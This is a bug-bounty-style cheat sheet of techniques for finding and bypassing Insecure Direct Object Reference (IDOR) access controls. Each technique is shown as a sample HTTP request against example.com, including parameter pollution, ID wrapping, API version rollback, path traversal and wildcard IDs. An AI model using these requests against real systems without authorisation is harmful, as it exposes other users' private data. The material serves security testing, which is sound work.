IDOR stands for Insecure Direct Object Reference is a security vulnerability in which a user is able to access and make changes to data of any other user present in the system.
- Usually it can be found in APIs.
- Check the HTTP request that contain unique ID, for example
user_id
orid
- Add parameters onto the endpoints for example, if there was
GET /api/v1/getuser HTTP/1.1
Host: example.com
...
Try this to bypass
GET /api/v1/getuser?id=1234 HTTP/1.1
Host: example.com
...
- HTTP Parameter pollution
POST /api/get_profile HTTP/1.1
Host: example.com
...
user_id=hacker_id&user_id=victim_id
- Add .json to the endpoint
GET /v2/GetData/1234 HTTP/1.1
Host: example.com
...
Try this to bypass
GET /v2/GetData/1234.json HTTP/1.1
Host: example.com
...
- Test on outdated API Versions
POST /v2/GetData HTTP/1.1
Host: example.com
...
id=123
Try this to bypass
POST /v1/GetData HTTP/1.1
Host: example.com
...
id=123
- Wrap the ID with an array.
POST /api/get_profile HTTP/1.1
Host: example.com
...
{"user_id":111}
Try this to bypass
POST /api/get_profile HTTP/1.1
Host: example.com
...
{"id":[111]}
- Wrap the ID with a JSON object
POST /api/get_profile HTTP/1.1
Host: example.com
...
{"user_id":111}
Try this to bypass
POST /api/get_profile HTTP/1.1
Host: example.com
...
{"user_id":{"user_id":111}}
- JSON Parameter Pollution
POST /api/get_profile HTTP/1.1
Host: example.com
...
{"user_id":"hacker_id","user_id":"victim_id"}
- Try decode the ID, if the ID encoded using md5,base64,etc
GET /GetUser/dmljdGltQG1haWwuY29t HTTP/1.1
Host: example.com
...
dmljdGltQG1haWwuY29t => [email protected]
- If the website using GraphQL, try to find IDOR using GraphQL
GET /graphql HTTP/1.1
Host: example.com
...
GET /graphql.php?query= HTTP/1.1
Host: example.com
...
- MFLAC (Missing Function Level Access Control)
GET /admin/profile HTTP/1.1
Host: example.com
...
Try this to bypass
GET /ADMIN/profile HTTP/1.1
Host: example.com
...
- Try to swap uuid with number
GET /file?id=90ri2-xozifke-29ikedaw0d HTTP/1.1
Host: example.com
...
Try this to bypass
GET /file?id=302
Host: example.com
...
- Change HTTP Method
GET /api/v1/users/profile/111 HTTP/1.1
Host: example.com
...
Try this to bypass
POST /api/v1/users/profile/111 HTTP/1.1
Host: example.com
...
- Path traversal
GET /api/v1/users/profile/victim_id HTTP/1.1
Host: example.com
...
Try this to bypass
GET /api/v1/users/profile/my_id/../victim_id HTTP/1.1
Host: example.com
...
- Change request
Content-Type
GET /api/v1/users/1 HTTP/1.1
Host: example.com
Content-type: application/xml
Try this to bypass
GET /api/v1/users/2 HTTP/1.1
Host: example.com
Content-type: application/json
- Send wildcard instead of ID
GET /api/users/111 HTTP/1.1
Host: example.com
Try this to bypass
GET /api/users/* HTTP/1.1
Host: example.com
GET /api/users/% HTTP/1.1
Host: example.com
GET /api/users/_ HTTP/1.1
Host: example.com
GET /api/users/. HTTP/1.1
Host: example.com
- Try google dorking to find new endpoint
- @swaysThinking and other medium writeup